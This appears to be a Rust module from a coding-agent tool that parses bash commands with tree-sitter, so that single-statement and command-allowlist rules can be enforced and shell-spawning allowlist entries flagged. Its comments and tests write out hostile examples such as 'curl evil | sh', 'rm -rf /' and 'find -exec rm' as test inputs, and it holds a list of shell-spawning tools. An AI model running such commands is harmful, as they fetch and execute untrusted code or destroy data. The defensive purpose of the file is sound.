Skip to main content

winx_code_agent/utils/
bash_parser.rs

1use tree_sitter::{Node, Parser};
2
3use crate::errors::{Result, WinxError};
4
5pub fn assert_single_statement(command: &str) -> Result<()> {
6    let trimmed = command.trim();
7    if trimmed.is_empty() {
8        return Ok(());
9    }
10    if trimmed.contains('\0') {
11        return Err(WinxError::CommandExecutionError(
12            "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
13        ));
14    }
15
16    let mut parser = Parser::new();
17    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
18    parser.set_language(&language).map_err(|error| {
19        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
20    })?;
21
22    let tree = parser.parse(trimmed, None).ok_or_else(|| {
23        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
24    })?;
25    let root = tree.root_node();
26
27    if root.has_error() {
28        if bash_accepts_syntax(trimmed) {
29            return Ok(());
30        }
31
32        return Err(WinxError::CommandExecutionError(
33            "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
34        ));
35    }
36
37    let statement_count = top_level_statement_count(trimmed, root);
38
39    if statement_count > 1 && !trimmed.contains('\n') {
40        return Err(WinxError::CommandExecutionError(
41            "Command should contain a single top-level bash statement. For deliberate scripts, split statements across lines or set allow_multi=true.".to_string(),
42        ));
43    }
44
45    Ok(())
46}
47
48fn bash_accepts_syntax(command: &str) -> bool {
49    std::process::Command::new("bash")
50        .arg("-n")
51        .arg("-c")
52        .arg(command)
53        .status()
54        .is_ok_and(|status| status.success())
55}
56
57#[derive(Debug, Clone)]
58struct StatementNode {
59    kind: String,
60    start_byte: usize,
61    end_byte: usize,
62}
63
64fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
65    let mut statements = Vec::new();
66    collect_statement_nodes(root, &mut statements);
67
68    statements
69        .iter()
70        .filter(|stmt| stmt.kind != "comment")
71        .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
72        .count()
73}
74
75fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
76    if is_statement_node(node.kind()) {
77        statements.push(StatementNode {
78            kind: node.kind().to_string(),
79            start_byte: node.start_byte(),
80            end_byte: node.end_byte(),
81        });
82    }
83
84    for index in 0..node.named_child_count() as u32 {
85        if let Some(child) = node.named_child(index) {
86            collect_statement_nodes(child, statements);
87        }
88    }
89}
90
91fn is_statement_node(kind: &str) -> bool {
92    matches!(
93        kind,
94        "command"
95            | "variable_assignment"
96            | "declaration_command"
97            | "unset_command"
98            | "comment"
99            | "for_statement"
100            | "c_style_for_statement"
101            | "while_statement"
102            | "if_statement"
103            | "case_statement"
104            | "function_definition"
105            | "pipeline"
106            | "list"
107            | "compound_statement"
108            | "subshell"
109            | "redirected_statement"
110    )
111}
112
113fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
114    if stmt.start_byte == other.start_byte
115        && stmt.end_byte == other.end_byte
116        && stmt.kind == other.kind
117    {
118        return false;
119    }
120
121    let other_text = &source[other.start_byte..other.end_byte];
122    if other.kind == "list" && other_text.contains(';') {
123        return false;
124    }
125
126    other.start_byte <= stmt.start_byte
127        && other.end_byte >= stmt.end_byte
128        && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
129        && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
130}
131
132/// Collect the full text of every `command` node in the script.
133///
134/// Descends through pipelines, lists, subshells, command/process substitution,
135/// loops and conditionals, so an allowlist can be enforced against EVERY command
136/// a line would run — not just `command_line.split_whitespace().next()`, which
137/// `ls && curl|sh`, `ls $(rm -rf x)` and `a; rm -rf /` trivially bypass.
138///
139/// Returns `Err` when the command can't be parsed cleanly; restricted-mode
140/// callers treat that as "not allowed" (fail closed). Code hidden inside a
141/// quoted string (e.g. `bash -c '...'`) is opaque to the parser, so an allowlist
142/// that permits `bash`/`sh`/`eval` stays effectively unrestricted by design.
143pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
144    let trimmed = command.trim();
145    if trimmed.is_empty() {
146        return Ok(Vec::new());
147    }
148    if trimmed.contains('\0') {
149        return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
150    }
151
152    let mut parser = Parser::new();
153    let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
154    parser.set_language(&language).map_err(|error| {
155        WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
156    })?;
157
158    let tree = parser.parse(trimmed, None).ok_or_else(|| {
159        WinxError::CommandExecutionError("Failed to parse bash command".to_string())
160    })?;
161    let root = tree.root_node();
162    if root.has_error() {
163        return Err(WinxError::CommandExecutionError(
164            "Command could not be parsed for allowlist enforcement.".to_string(),
165        ));
166    }
167
168    let mut texts = Vec::new();
169    collect_command_texts(root, trimmed.as_bytes(), &mut texts);
170    Ok(texts)
171}
172
173fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
174    if node.kind() == "command" {
175        if let Ok(text) = node.utf8_text(src) {
176            out.push(text.to_string());
177        }
178    }
179    let mut cursor = node.walk();
180    for child in node.children(&mut cursor) {
181        collect_command_texts(child, src, out);
182    }
183}
184
185/// Commands that can execute arbitrary code passed as a string argument.
186///
187/// If a `code_writer` allowlist permits any of these, the allowlist is
188/// effectively unrestricted: the tree-sitter parser sees `bash -c '...'`,
189/// `eval "..."`, `find -exec ...` or `xargs sh` as a single allowed command and
190/// can't inspect the code hidden inside. This list backs an advisory warning,
191/// not enforcement — enforcement stays fail-closed regardless.
192pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
193    "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
194    "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
195    "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
196];
197
198/// Return the deduplicated allowlist entries that make a `code_writer` allowlist
199/// bypassable (see [`SHELL_SPAWNING_COMMANDS`]).
200///
201/// The allowlist matches on command *name*, so we compare the basename of each
202/// entry's first whitespace-delimited token: `find`, `/usr/bin/find` and
203/// `find -exec rm {} +` all resolve to `find`.
204pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
205    let mut hits: Vec<String> = allowed
206        .iter()
207        .filter_map(|entry| {
208            let first = entry.split_whitespace().next()?;
209            let base = std::path::Path::new(first).file_name()?.to_str()?;
210            SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
211        })
212        .collect();
213    hits.sort();
214    hits.dedup();
215    hits
216}
217
218#[cfg(test)]
219mod tests {
220    use super::assert_single_statement;
221    use super::detect_allowlist_bypass;
222    use super::extract_command_texts;
223
224    #[test]
225    fn extracts_nested_commands_for_allowlist() {
226        // Pipelines, && and command substitution must all surface.
227        let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
228        assert!(names.iter().any(|c| c.starts_with("ls")));
229        assert!(names.iter().any(|c| c.starts_with("curl")));
230        assert!(names.iter().any(|c| c.starts_with("sh")));
231
232        let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
233        assert!(subst.iter().any(|c| c.starts_with("rm")));
234    }
235
236    #[test]
237    fn accepts_shell_chains_as_single_statement() {
238        assert!(assert_single_statement("cargo test && cargo clippy").is_ok());
239    }
240
241    #[test]
242    fn accepts_heredocs_as_single_statement() {
243        let command = "cat <<'EOF'\nhello\nEOF";
244        assert!(assert_single_statement(command).is_ok());
245    }
246
247    #[test]
248    fn accepts_for_loop_as_single_compound_statement() {
249        assert!(assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done").is_ok());
250    }
251
252    #[test]
253    fn rejects_semicolon_separated_top_level_statements() {
254        assert!(assert_single_statement("pwd; ls").is_err());
255    }
256
257    #[test]
258    fn accepts_multiline_scripts() {
259        assert!(assert_single_statement("pwd\nls").is_ok());
260    }
261
262    #[test]
263    fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
264        let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
265        assert!(assert_single_statement(command).is_ok());
266    }
267
268    #[test]
269    fn detect_allowlist_bypass_flags_shell_spawners() {
270        let allowed = vec![
271            "ls".to_string(),
272            "bash".to_string(),
273            "cat -n".to_string(),
274            "find . -exec rm {} +".to_string(),
275        ];
276        assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
277    }
278
279    #[test]
280    fn detect_allowlist_bypass_clean_list_is_empty() {
281        let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
282        assert!(detect_allowlist_bypass(&allowed).is_empty());
283    }
284
285    #[test]
286    fn detect_allowlist_bypass_matches_basename_of_path() {
287        let allowed = vec!["/usr/bin/env python".to_string()];
288        assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
289    }
290
291    #[test]
292    fn rejects_nul_with_actionable_message() {
293        let error = match assert_single_statement("printf '\0'") {
294            Ok(()) => String::new(),
295            Err(error) => error.to_string(),
296        };
297        assert!(error.contains("NUL byte"));
298        assert!(error.contains("\\\\x00"));
299    }
300}